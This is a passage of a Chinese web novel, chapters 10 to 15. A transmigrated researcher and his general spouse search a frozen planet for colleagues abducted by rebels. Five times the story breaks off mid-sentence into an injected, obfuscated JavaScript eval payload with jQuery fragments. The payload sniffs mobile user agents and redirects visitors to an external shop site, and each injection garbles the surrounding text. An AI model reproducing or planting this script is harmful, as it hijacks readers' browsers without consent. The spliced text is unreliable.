魏邈对这种社交辞令并不感兴趣,但听得多了,也能从语气里听出来敷衍和真情实感的区别。
就像是上辈子随导师一起参加某某学术会议,虽然整个会场都充满了众人拾柴火焰高的抬轿子气息,情商通货膨胀严重,但有没有学术成果,圈中地位几何,是否是业内的领头羊,还是一眼能够清晰辨别的。
作为同行的学生,他同样会被夸是“某教授门下高足”,但这样的夸赞,含金量显然是没有他的导师被称誉时的足斤足两,大多仅代表礼仪层面的欢迎,显得多了些刻板的技巧,少了些炽热的真诚。
而每一次站在奥兰德旁边,露面某些公开场合,他都有一种参加他的导师主导、推进的学术会议的感受。
很奇妙。
少将道:“您有打算在托尔星休息几天吗?”
“这个需要看我雄主的工作安排。”奥兰德说完,转过脸,“……您觉得呢?”
桌下,他的小拇指轻轻摩挲过魏邈的无名指,泛起轻微的麻痒感。
魏邈收回漫无目的的思绪,微笑着接口:“我大概停留两到三天。”
他耸耸肩:“这一趟行程如果没有在短时间内找到我的两位失联的同事的话,估计就只能灰溜溜地带队回首都了。”
一般来说,失踪案的黄金时间就是四十八小时之内。
而脱离了短期的寻找之后,很容易陷入无头苍蝇的境地,这一桩爆炸失踪案全部的证据就只是虚无缥缈的反叛军和星盗,这个猜测还是魏邈提出来的。
万一这些反叛军见托尔星兵强马壮、武德充沛,调转马头跑了,那也是没办法的事情。
他并非军部的人,无从插手军部的调查方向,更何况对方的主要目的是防止这个帝国接手的行星再次被侵犯,找人才是顺手的事儿。
魏邈同样不能在这里停留太久。
先不说他还有本职工作,不兼职名侦探柯南,更何况他还有一堆狗屁倒灶的私事等着处理,离婚说得简单,但过程远没有那么轻松。
除了奥兰德之外,还有柏布斯家族一堆年长的雌虫可能会劝和,这个站在金字塔尖的古老家族出了名的封建、保守,有一套自己的处事原则,谈离婚是不容许的,如同给唐太宗大谈走向共和,为刘邦科普遗弃子女的社会危害。
刚结婚那会儿,奥兰德显然还没有到今天这样的地位,还颇受掣肘,那会儿他的雄父派来一名老年雌虫,只是为了监督雌君对雄主的应有礼节。
魏邈对此印象深刻。
他当时以为他的雌君生性桀骜、锋芒毕露,后来才意识到,可能初识的那段时期,才是对方事急从权、不破不立的伪装。
等对方真正坐稳了柏布斯家主的位置之后,魏邈已经很少见到对方离经叛道的一面,明面上的行事作风日益低调、温和。
当初敢于反抗他的那批人,如今坟头草刚好长满四个半周年了。
以及这一系列事儿里最重要的……
他该怎么给维恩解释?
魏邈的语气诙谐,但少将还是肃容道:“魏邈阁下的同事一定也是优秀的研究员,请相信我们,会给你们一个满意的答复。”
“太感谢了。”魏邈自然地抽出桌下交握的那只手,站起身,和少将握了一下。
少将有些受宠若惊。
他很少见到雄虫有这么好的态度,大多数雄虫趾高
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606717|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气扬、以鼻孔示虫。
两个人一碰即离,少将突然想起来一件事情:“柏布斯先生,需要为您安排休息的房间吗?”
“无需太麻烦。”奥兰德温和地道,“我和雄主一间房间就好。”
魏邈失去笑容,侧目望了眼他,旋即收回视线。
他顿了顿,最终还是没说什么。
·
回程的路上,骤落的雪花大片大片地落在魏邈的肩膀上,四野深黑一片,魏邈从兜里掏出一个口罩,递给奥兰德:“戴上,这里的雪和首都不一样。”
见对方的视线转移到他的手上,魏邈补充了句:“干净的。”
奥兰德弯了弯眼睛:“好。”
两个人短时间都没有再说话。
过了一会儿,还是魏邈问:“维恩呢?”
“让老宅的管家照顾一下。”奥兰德回答,语气低而沉缓,“不是和您说过托尔星很危险吗?”
他声音里几乎听不出问责之意。
不过魏邈多少也能感知到对方不太高兴。
上位者表达情绪的方式比较委婉迂回,需要花一点时间体悟。
“下午的情况太突发了,我的两名同事在工作中失踪。”魏邈微笑着揽住对方的肩膀,“忘了回复你的消息,抱歉……这是我的责任,要是不来,那也太没有同事爱了。”
“第一军团并不是那么值得信任。”奥兰德道,“您应该知道,自上一任军团长叛逃之后,联邦对其的信任程度明显降低了,您所推测的反叛军势力,其首领很有可能是昔日的军团长,其如今在军团内的旧署有多少,谁也无从知晓。”
魏邈道:“是我欠考量了。”
那名叛逃的军团长,在书中的剧情里也有一席之地。
——似乎是主角的后宫之一,顺位数一数二。
主角的后宫排序不搞所谓雌君、雌侍这一套,导致魏邈得自己给对方的“老婆们”排个座次。
他拥着奥兰德,替他捋了捋头发的雪花,垂下眼,笑着说:“所以谢谢你来。”
11. 和雌君睡觉
军部给魏邈分的房间不大不小,容纳一个人时还算宽敞,但再加一个,就显得有些捉襟见肘了。
魏邈打开空气加湿器,把自己桌台简单的收拾了一下,示意奥兰德:“你先坐。”
奥兰德抵着门,目光在室内虚晃了一圈,浅色的眼睛被白炽灯映出剔透的光彩,他犹豫了一下,才走进去。
“明天我申请换个房间。”他道。
“好啊。”魏邈将报告最后一个字符敲完,道,“赶明替我换个三室一厅带泳池的房子。”
这简直是刻意为难。
奥兰德不说话了。
魏邈合上光脑,点开讯息,才看到尤文发了一条消息,消息很长,用词相当准确、精致,大概是说他今天的入职还算顺利,但暂时没啥工作这样,看得出来是字斟句酌写出来的。
这年头,有文化的亚雌如同冰河世纪的猛犸象,干什么事都会成功的。
他回了三个“竖大拇指”的表情。
——领导专用。
过了一会儿,他才听到奥兰德的声音:“托尔星可能没办法有泳池,您完成任务之后可以去最近的金枕星,那里有我的产业和庄园,您可以坐星舰去那里度假。”
魏邈抬起的手滞了一瞬,心道:他何必非要开这个玩笑。
有一种被资本主义劈头盖脸砸了一遍的感受。
金枕星的气候宜居,相较于已经产业化的其他星系,比较原始,可以看到大片的原始森林和无尽无垠的海,而能来这里度假的几乎都是数一数二的贵族。
“没事儿,突然觉得单间当双人间用挺好的。”魏邈道。
结婚五年来,尽管他对柏布斯家族的财产没什么窥探之心,也多少有个整体的认知了,但这种认知,总是一再被打破。
不愧是大反派啊。
奥兰德抿起唇角,露出一个浅淡的笑意:“猜到您会这么说。”
“天天琢磨我呢?”魏邈挑了挑眉,乐道。
奥兰德眨了一下眼睛,否认道:“没有。”
他的短发蓬松、柔软,看起来倒有几分温柔的神色。
魏邈没多说什么,他脱下厚重的大衣,挂在晾衣架上,示意奥兰德把自己的外套递给他。
两个人很少这样静谧地处在这样一个难以旋身的室内,哪怕是同床共枕,也几乎只在主卧的套间,而此刻的托尔星风雪降临、河床涌动,连带着室内的温度都是冰冷的一片。
房间的上方有一个狭窄的窗户,从上望去,天色昏聩一片。
奥兰德长了张很有迷惑性的脸。
单看他的长相,其实很难将他划为以高壮、粗犷著称的军雌的范畴,但脱离了衣服的遮挡,训练有素、脱衣有肉的身材就明晃晃地露了出来,浑身上下没有多余的赘肉,肩宽腰细,只是因为生育过一枚亚雌的缘故,胸肌会偏大一些。
对方是一名双S级的雌虫,甚至因为太过年轻,有望突破到SSS级。
这几乎是一个不可能的等级,但单单是“有望”这两个字,已经足够奠定其在联邦独一份儿的地位。
一架完美的战. 争机器。
如果不是原书中,奥兰德在最后临突破时被围困,最终重伤,几乎没有办法维持正常的形态,可能确实会有一名SSS级雌虫诞生。
魏邈想,他的雌君真的是个意气用事、为爱痴狂,得不到就发癫要毁灭世界的雌虫吗?
他怎么没看出来对方还有这样的奇妙天赋。
这样的疑问只在脑海中留存了一瞬间,魏邈就收回了过多的思绪。
太累了,再议吧。
他钻进床铺里。
奥兰德就在他旁边,灯下,连他鼻尖的一颗不算明显的痣都能看得清楚,距离几乎只在几公分之内,偏偏对方其实已经退让到了床边。
魏邈捞住对方的脊背,把他箍在怀中,好在奥兰德腰细,省事儿了些。
他低声道:“委屈你了。”
住这种旮沓地方。
奥兰德似乎弯了下眼睛,那张脸如同真正注入了生气一般,问:“您说什么?”
魏邈道:“第一次住单间?”
对方不确定地回答:“之前有过……很早之前?”
魏邈问:“还有过这种经历呢?”
“雄主。”奥兰德有点儿无奈,“谁也不是一出生就是上将的。”
“行吧。”魏邈吃味地放开他,“就当忆苦思甜了。”
他之前天天住呢。
甚至单间都是好待遇了,晚上熬一宿也不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606718|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是多不日常的事儿。
他跳槽到虫族那会儿,刚硕士毕业,几万块的人才补贴才新鲜出炉地打到银行卡里,冷不丁就穿越了,来这里之后,每个月却竟然离奇的活得更像人了一些。
不过每个月的工资都是有数的,依然属于工薪阶层。
奥兰德撑着下巴,很好心情地笑了一会儿:“还没到甜的时候,雄主。”
魏邈懒得听奥兰德的职业规划,如果按照原书的剧情来走,对方职业规划的尽头是为了某位雄虫毁灭世界。
他揉了揉对方的脸颊:“不生气了?”
“不敢。”奥兰德道,“什么是生气?”
“就是我突然跑来托尔星出差的事儿。”
“……”
魏邈关了灯,黑暗里,他吻了一下奥兰德的唇角,却感受到对方轻轻拉了一下他的胳膊:“雄主?”
魏邈“嗯”了声。
“您想要让维恩添一个雄虫弟弟吗?”奥兰德问。
魏邈睁开眼,不动声色地放开雌虫温度偏高的手,过了一会儿,才说:“……为什么突然说这个?”
他神色宁静,已经猜到了对方或许要说的内容。
“柏布斯家族需要一名名正言顺的继承人。”雌虫徐徐地说,“维恩也不会再孤单,不是吗?”
对方的语气并不急迫,听起来只是一种友好的商议。
魏邈却觉得有些好笑,他问:“维恩不能当继承人吗?”
“……当然是可以的。”奥兰德道。
他从雄主的语气中敏感地察觉到,刚刚他似乎说错了什么。
对方对幼崽的喜爱程度有些出乎意料。
这或许是一个值得开心的事实,虫族对待幼崽的态度倾向于抚养,但鲜少输出感情,对幼崽上心是很难得的事情,意味着雄虫可以更好地融入到家庭事务中,雌君的地位会更加稳固。
同样的,雄主或许看在幼崽的面子上,选择减少雌侍的数量。
但奥兰德不知道为什么,心里有些不愉。
看到柔软的幼崽先趴到雄虫身上时,或者对方的目光总是先聚焦到维恩身上的时候,他会有很片刻的不舒服的感受。
奥兰德顺理成章地想,这或许不是一名亚雌该有的待遇。
12. 您是?
“回去之后再说吧。”魏邈道。
他也清楚,让一名亚雌担任继承人,确实有些天方夜谭了。
哪怕是雌虫,阻力都不会如此之大。
虫族几乎没有独生子女,大多都是一个接一个的生,上流社会同样如此,只是会更加克制、文明一些,再加上雌虫的受孕率偏低,倒也不至于人口爆满。
但两到三个幼崽,也算是正常数量了。
再加上雌侍和受孕率偏高的亚雌,有些家庭的子女数量在十到二十个之间。
魏邈单听都觉得够呛。
奥兰德静了几秒,方道:“您不想吗?”
“没有不想。”魏邈低下眼,在黑暗中难得说了句违心的话,“只是觉得,有你和维恩两个就够了。”
这句话,两天前还在有效期。
“这样啊。”对方的语气还含着笑,“以为您对我稍微有些腻味了。”
魏邈没说话,他用手蒙住了奥兰德的眼睛。
奥兰德的睫毛在他手心里像蝴蝶翅膀一样滑过去,他心里也跟着一起泛起细微的痒意,雌虫的呼吸声就在他耳畔,房间内静得能听见一切微弱的声响。
魏邈低声说:“不要乱想,睡觉。”
·
托尔星的黑夜比白天要漫长。
魏邈是被生物钟叫醒的,醒来的时候,天色还是漆黑的一片,雪不知道何时已经停了,漫长的星幕如同盏盏灯火,在天上显露出来,地上的河床被一层厚雪盖得泛白,粼粼如细沙。
他今天难得没有工作,只能空等第一军团的消息,简单地洗漱之后,去营地里转了一圈,顺便去军部的食堂用餐券兑换了两盒盒饭。
再回来的时候,奥兰德已经在收拾床铺,动作迅速、漂亮,脊背挺得端直,背对着门口,腰被勒出一个好看的弧度,屁股浑圆挺翘。
单看背影,都知道是个大美人。
“早安。”魏邈抖落了裤脚的雪渍,静静欣赏了两秒钟,才走进来,递给奥兰德一杯咖啡,“来吃饭吧。”
在托尔星,哈出一口气都能看见雾。
温度依然在最低点徘徊。
盒饭的菜式很简单,但竟然是热灶里做出来的饭,吃起来甚至还能感受到锅气,魏邈抿了一口汤,便看见他的雌君一边吃盒饭,一边占用了单间的书桌一角,开始工作了。
给他留下的位置大约有四分之三。
魏邈有些好笑。
他干脆把整个书桌让出来,点开早间的娱乐头榜新闻,顺便分屏了游戏,一心二用,把前几天没磨掉的副本boss给打了,顺便看了会儿新闻。
这个世界的游戏产业并不发达,但技术却实在是太好了,甚至可以模拟真实的五感,达到完全的沉浸。
这两年最火的游戏名叫《曙光》,沿用的背景是几百年前的虫族战场设定,那个时候,联邦还未建立,还处在第三帝国统治时期,从最初的小兵一路进化成为虫族战神,打爆其他星系。
游戏是单机游戏,但可以加好友,分线繁多,魏邈算是第一批玩家,到现在为止,回档过无数次,但怎么也没有打出来最佳的结局。
他有一个社交账号,专门会在论坛上发各种分线的攻略,迄今为止,已经有将近千万的关注量。
魏邈顺手把今天打完的副本给发了上去。
【亚特兰星副本攻略:
首先聊一下前置条件,这个副本开启的条件很苛刻,过关方式多样,之前有看过不少比较稳妥的过关方式,我算是纯莽,所以打法比较激进,操作难度姑且给四颗星吧。
下附视频,请各位朋友们多指正
(视频)】
所谓的打斗,大多是磨血条的枯燥过程,偏偏游戏里魏邈操纵角色,操纵得细致入微,几乎所有的防守都无懈可击。
他的职业是战士。
这是一个身段最暴力的职业,画面里,他操纵的八块腹肌、满身虫纹的粗壮雌虫赤膊上阵,哐哐几下,连残影都看不到,就把副本boss打得只剩下一具躯壳。
发出去没过几分钟,底下就占满了评论。
“好强啊,我天!”
“看魏神打斗,真是一场视觉的盛宴。”
“太爽了太爽了,不过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606719|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对我的参考意义不大,没两下的根本没这么大。”
“全副武装,等bossA一下我已经没了。”
“信心满满地打开游戏。”
“试了一下,这种战斗的流畅度对精神力的要求奇高……已老实。”
“雌虫中的雌虫,雌虫的典范!!!”
“魏神好久不上线了,去执行任务了吗?”
“怀疑他是一名高阶雌虫,可能是S级以上的。”
“喜欢这段爆衣……我甚至看魏神的光头游戏形象都看顺眼了。”
“头发越短,打得越狠。”
魏邈的游戏形象是个光头,他当初因为是单机游戏,懒得给自己设计形象,进去的时候是个平均脸,头发设置选的是无。
奥兰德是个相当厚道的房东兼伴侣——他包吃包住包水电。
除了给维恩买玩具、特定情况买礼物之外,魏邈婚后的大部分开销都在游戏里,发布的每个游戏视频里,驾驶的机甲皮肤都不尽相同。
“纯炫技之作……”
“笑死了,楼上给我炫技看看?能撑过boss三招算你厉害,这个副本的攻略,大神也是苟过的,这样高的评分和闪避技巧是独一份的,你能看得懂吗?”
“魏神精通闪避,你也是个闪避。”
“……也就游戏里找点存在感了,现实中连雄虫的衣角都碰不着吧。”
“看到这个光头就想笑,哈哈。”
“谁想看重达两百斤的光头雌虫打架。”
“好了好了,知道了。你们魏神去荒星出游,所有的麦穗都受到了足够的光照。”
“这么久了怎么还在打?没被骂退网?”
“有钱出去旅游吗?”
“找不到雄虫当然有钱花啦嘻嘻。”
魏邈正在看评论区,门外突然传来一阵敲门声。
奥兰德百忙之中,略略抬起头:“请进。”
“师兄,有莱尔的消息了。”进来的一名长相清新秀美的雌虫,穿着白大褂,他风风火火地推门进来,看到奥兰德,雌虫愣了一下,才问,“呃……您是?”
13. 裁员广进
魏邈抿了一口咖啡,抬起眼,抓到了关键词:“什么消息?”
艾奇站在门口,即使反应再慢的虫,在这种情况下,显然也能很快明白对方的身份。
能够和师兄过夜的雌虫,只能是师兄的伴侣。
他站在门口,手扒在门沿,指腹泛白,一时不知道该不该进来,这名陌生的雌虫单看长相便令人惊艳,他自觉在研究所里还算受欢迎,销路很广,但在对方面前,却实在有些相形见绌。
奥兰德蔚蓝色的眼睛仅瞥了对方一眼,就不感兴趣地收回目光。
魏邈没有邀请同事进来,道:“你直接说吧。”
艾奇略有失落地说:“好……好吧。”
他的目光忍不住再次放到奥兰德身上。
师兄的爱人——
魏邈是一名已经结婚的雄虫,这件事在研究所里并不是一桩秘密,他听说魏邈的雌君是一名军团的高官,但具体是谁,那就不得而知了。
那名神秘的高官也从未探过班,或者参加所里大部分虫都会参加的,一年一度的家庭文化节。
没想到现在却在这里见到了真人。
爱慕一名优秀的雄虫实在是虫之常情,研究所里喜欢魏邈的雌虫众多,艾奇也不能免俗,和对方共事久了,他甚至经常会被对方照顾,有的时候,甚至容易产生一种虚幻的错觉。
艾奇神色低落,磕磕绊绊地说完了莱尔的行踪。
魏邈认真地听完,自己把话提炼总结了一遍:“所以,第一军团在事故现场找到了莱尔的光脑,确实有反叛军的踪影,对方把莱尔、小福悉数给打晕带走了吗?”
艾奇道:“是的。”
“……那有些难办了。”魏邈自言自语了一句,旋即对艾奇笑了笑,“不过没有出现最坏的情况,其实未尝不是一件好的事情。”
艾奇抿了下唇,说:“师兄,那接下来我们的任务是什么啊?”
魏邈正准备说话,便听见奥兰德的声音:“我很好奇。”
对方淡淡地将笔帽合上,问:“这位先生,你为什么会叫我的雄主为师兄?”
“……”艾奇盯着奥兰德的脸,慢半拍地愣了一下。
奥兰德笑着问:“你和我的雄主上的是同一所高校吗?”
魏邈搅拌咖啡的动作不得不停下了。
在这个世界,他的大学学历是假的,这具身体甚至只上过小学。
他从来到这里就是黑户,住在最简陋的贫民窟里,每天入目所及,是无垠的黑,以及二十四小时川流不息的一条河。
在布列卡星,贫民窟共分为十二个区,他所在的第九区,有一条河,那条河污浊、腐臭,有无数的秽物,但所有的产业,几乎都坐落在河畔。
黑户当然也有黑户的好处,你很难在上流社会认识一名办理假的户籍的朋友,但在贫民窟,这样的资源几乎比比皆是。
非法行医的、办假讠正的、摘骨翼的,三教九流,什么都刑。
他给自己取名叫魏邈,用的是上辈子用了二十五年的名字,然后落了手续,那张虚假的学院文凭,是买一送一的赠品,一个添头。
但这样拙劣的模仿,在星网一查就能知道,魏邈用假学历招摇行骗了两年,几乎没有人觉得这样一名长相俊朗、谈吐优雅、专业功底深厚的雄虫是一名没有身份证明的失学儿童。
结婚之前,他的诸多证件里,或许只有即将拿到手的结婚证是真的。
结婚之后,他的文凭也随之成真了。
奥兰德具体什么时候知道他的一些过去,魏邈其实没问,又不是多光彩的事情,需要事事问个清楚,但估计对方在婚前,早就把他查得底儿朝天。
那些伎俩骗骗自己可以,不可能把奥兰德骗了。
在那段学历还没有被落实之前,魏邈是被一名教授特招进研究所的。
“我和他之前为同一名研究所的教授做助手。”魏邈主动解释道,“工作了有半年的时间,算是同门吧。”
他走近奥兰德,手搭在对方的肩膀上,揉了揉对方的后脖颈。
艾奇点头。
奥兰德重新笑了起来,道:“这样,之前没有听雄主提起过你,所以稍微有点儿好奇。”
魏邈觉得这话说得有点儿怪,但也听不出来哪里奇怪。
闲得没事儿,回家聊同事干什么?
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606720|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
低下头,莫名其妙地看了眼奥兰德,总觉得对方不是这样好心给陌生人解释的雌虫。
他的雌君对不值得在乎的虫族,出于贵族的涵养和礼貌,只会采取漠然无视的态度,就像是人类轻轻掠过一只蚂蚁,不把对方踩死,已经算是仁慈。
就像是结婚那年,奥兰德对他的态度一样。
一种全然的忽视。
这并不是说艾奇不够优秀,只是在奥兰德的眼里,大多数的人约等于无。
被那道和蔼的视线凝视着,艾奇蓦然低下头,回避对方的视线,难得磕绊了一下:“没、没关系。”
明明对方是坐着的,他却感受到一种强烈的危险感,像是被某一种顶级掠食者盯上,下一秒,浑身就会被撕碎,令虫如芒在背。
好在对方很快就收回了多余的打量。
“没关系就好。”奥兰德笑着道,“雄主,抱歉打断你们工作了,继续吧。”
魏邈转过头,没把这个插曲放在心上,他的心神更多放在反叛军身上:“我打个报告,如果需要我们继续追下去的话,可以把这件事当做一个长期任务来做,不是短时间的事情了,另外,可能得麻烦你跑一下第一军团的许可令了,不然这件事,地质勘察所是没有参与的资格的。”
魏邈也没有要避开奥兰德的意思,军部实际意义上的顶头上司就在这儿,听不听也无所谓。
艾奇说:“我怕……再找不到他们,他们有被杀的风险。”
还有一种可能性他没说。
那就是,哪怕能够活着回来,恐怕也不能再进研究所了。
联邦对待反叛军的态度出奇的苛刻,凡是有接触的,都会保持合理的怀疑,实在是上一任的第一军团军团长太过优秀,其叛逃之后,造成的损失是巨大的。
让魏邈来形容的话,他觉得上一任军团长有点像是飞将军李广,所谓“行无部伍行阵,就善水草屯,舍止,人人自便。”自身相当出色,主要靠个人魅力来辐射、带动全军,人哪怕走了,留下来的影响力还很深厚。
卡洛就是个很鲜明的例子,相当有个人特点。
李易接过这个屎盆子之后,也只能裁员广进了。
14. 另一面
不过依然收效甚微。
“行了,别多想了。”魏邈拿起桌上的钥匙,随口道,“听过墨菲定律吗?越想越坏事儿。”
谁能想到这个动不动就能够穿梭星系,密码锁、指纹锁已经被淘汰了五六代的时代,托尔星的房间竟然还需要用钥匙开关门。
相当文艺复兴。
艾奇点点头,注视着魏邈,没忍住问:“……墨菲定律是什么?”
“就是一个叫爱德华·墨菲的医生定的定律。”魏邈说完,才想起来这个世界没有这号人物,“毕竟是两名地勘院的雌虫,未必没有价值。”
放在哪里,熟悉联邦各个星系地质环境的研究员,也不是不好找的,未必会一杀了之,这种技能或许在寻常人看起来没什么用处,但在战争时期,也算是前线人员了。
无论是联邦和反叛军内部,总有岗位可以灵活就业。
东边不亮西边亮,一样的。
……不过两名勘察员未必可以接受这样的身份。
看艾奇现在的脸色就知道,这明显也是个下下选。
魏邈把备用钥匙揣进兜里,给奥兰德交代了一声:“我先去上班了。”
奥兰德一直静静地听着,微笑着站起身为魏邈理了下衣领:“好。”
一个聪明的雌君不会置喙雄主的工作内容。
对方站起来的时候,艾奇才明确地感受到了这名军官的压迫感。
近乎一米九的身高,肩宽腰细,穿得严丝合缝,但依然掩盖不住的好身材,身量如同一座完美的雕塑,对方微微低下下巴,恰好站得和师兄平齐,此时专心地整理着布料,侧脸站在阴影处,只看到一个棱角分明的轮廓。
艾奇把自己搭在门外、冻得稍稍发红的手放下,抿了下唇角,自卑地低下眼睛。
……甚至不需要对比。
下一秒,魏邈已经走到门口,诧异地看了艾奇一眼:“杵这儿当柱子呢?走吧。”
·
“他们来托尔星的目的是什么?”李易在视频里问,“按理来说,这里没有任何值得他们注意的地方。”
他此刻也有些疲惫。
昨天的所有指令,几乎都是他亲自下达的,虽然看起来只是一场牵涉有反叛军的、普通困难的任务,但几乎所有无形的视线全部落在了他身上。
——甚至不止是军部的。
柏布斯上将如今驻扎在托尔星这个消息,几乎让所有有权有势的大贵族们不寒而栗,产生诸多猜测。
军团是否会选择直接歼灭反叛军?
为何只调派了第一军团的少部分兵力?
凭什么是李易来辅助?
要知道,柏布斯上将已经很少亲自出面了,上前线已经是四年前的事情。
而一旦亲自出面,那就意味着联邦会发生全然的、未知的、在政坛和军部腥风血雨的变化。
哪怕尽力做了保密处理,但消息依然不胫而走,没有虫敢直接请示奥兰德,李易的光脑却是被打爆了。
李易能说什么?
说他也不知道为什么柏布斯上将会这么干,说不定是担忧在荒星出差的雄主的安危呢。
——毕竟上将连自己的军部权限都没有开启,作为被携带的家属,安安稳稳地守在雄主的房间里。
显然对外界的诸多杂事没什么兴致。
但有谁会信这样拙劣的说辞,李易自己都不太信。
他其实更倾向于柏布斯上将想要对反叛军做一个警告。
这两年来,身为第一军团名义上的军团长,李易偶尔会升起一个隐隐约约的猜测,上将似乎没有要彻底消灭反叛军的打算。
起码这两年内,是这样的。
曾经被称为“联邦荣耀”的第一军团如今已彻底走向边缘化,平日里只能执行些不痛不痒的任务,但并没有被打碎、重组,甚至没有经过一轮清洗,昔日军团长的势力依然还顽强的根植着,但如今来看,这种影响力似乎也只局限在第一军团内部了。
就连其他军团,对第一军团也大多是看不起的态度。
而反叛军的声势,却依然浩大。
奥兰德似乎在把反叛军当成一个人尽皆知的靶子,但并不试图射向靶心。
李易琢磨不透
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606721|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这位位高权重的掌权者的意图。
他也不再试图理解,而只能选择执行。
被新派遣来的少将摇了摇头:“目前还是不清楚,只是今天我们的追踪系统抓取到了最近的反叛军势力的定位。”
李易露出一个招牌微笑,问:“很好,在哪里?”
少将道:“金枕星南部的安卡米州。”
李易的笑容就这样僵在脸上,并深吸了一口气。
他皱起眉,说:“具体的地址是?”
少将道:“……这已经是我们最精确的地址了。”
——金枕星?
一个相当意外的行星。
魏邈坐在一旁,顺手点开光脑,顺便在地图上搜索了下安卡米州的地貌,一大片水原和山地显现而出,他点开全景,看了两眼。
海滨城市,气候温润多雨,湖泊众多,植被也相当茂密,单看林木的高度,几乎能达到百米,这在地球上显然是看不到的盛景,当地盛产一种含水的富镁硅酸盐矿物,也称之为蛇纹石。
这种蛇纹石,地球上也有,甚至还挺多的。
总体来说,很适合有钱人短居一到两个月,睡一觉醒来依然有明媚阳光。
如果在上辈子,估计已经有设计院在画度假山庄的图纸了。
李易嘲讽地道:“……反叛军去度假了吗?”
魏邈抬起眼,看了眼通讯中的李易。
总觉得这位军团长的怨气似乎很大,快冒烟了。
少将道:“那我们要不要分出一部分军雌,去金枕星待命?那边有很多度假的联邦公民,不能放任不管。”
“……你觉得你能说的动他们吗?”李易道,“那可不是一般的公民,除非透露出这个地方藏匿有反叛军残部,才有可能说服这些高贵的先生们。”
少将沉默了一会儿。
这样的情报在百分百确认前,自然不能透露。
魏邈在旁边看了一会儿,随意地转了下笔,道:“如果条件允许的话,可以去安卡米州最北边的克里格尔山脉看看。”
那座山脉,富含充分的硫化物。
15. 不可能不收钱的
两道目光同时转向魏邈。
李易的目光闪动了一下,唇角露出一个微微诧异的弧度。就如同自己略显平淡的长相一样,他的面部表情也并不算丰富,就连平时的笑容都是公式化的。
“魏邈阁下。”李易字斟句酌地问,“可以冒昧问一句,您是如何做出的判断吗?”
少将注视着自己的军团长,发现上司的眉心已经完全舒展开来,语气如同在所有的公开场合一般,令人如沐春风。
刚刚的阴阳怪气呢?
他嘴角扯了扯,不过同样竖起了耳朵。
“我也是刚看地图才想起来。”魏邈手撑下巴,淡淡地打量了眼李易,他这时候才发现,对方的鼻梁上有一颗小痣,颜色很淡,若有若无的,只是李易皮肤白皙,才能显现出来,他笑了下,“不是判断,只是一个猜想。克里格尔山脉的资料很少,只是我五年前我为一名教授做助手时,他恰好做过实地调研,所以有过了解,单从自然环境来分析,是有很大可能成为反叛军的驻地的。”
——这又不是在玩和平精英。
安卡米州的漫长海滨线,显然是不适合藏匿、游击的,而剩下的地方,真正适合生存且能够隔绝一部分信号的领地,供残部挑选的就所剩无几了。
再筛一筛,深挖一些可能性的话,就只剩下克里格尔山脉了。
他同步了一篇论文过去:“相信军部也有专家,你们可以再斟酌一下。”
在发过来的第一时间,李易就已经眼疾手快地点开,道:“感谢您……我也是这样打算的。”
在星际时代,地质学身处在越来越边缘的生态位,且注定式微下去,科技让一切自然环境,包括气象、水文、矿物、岩土都不再成为阻碍。
如果说上辈子各类工程建筑还需要勘察岩土、评价地基的话,那在星际社会,这些都太小儿科了。
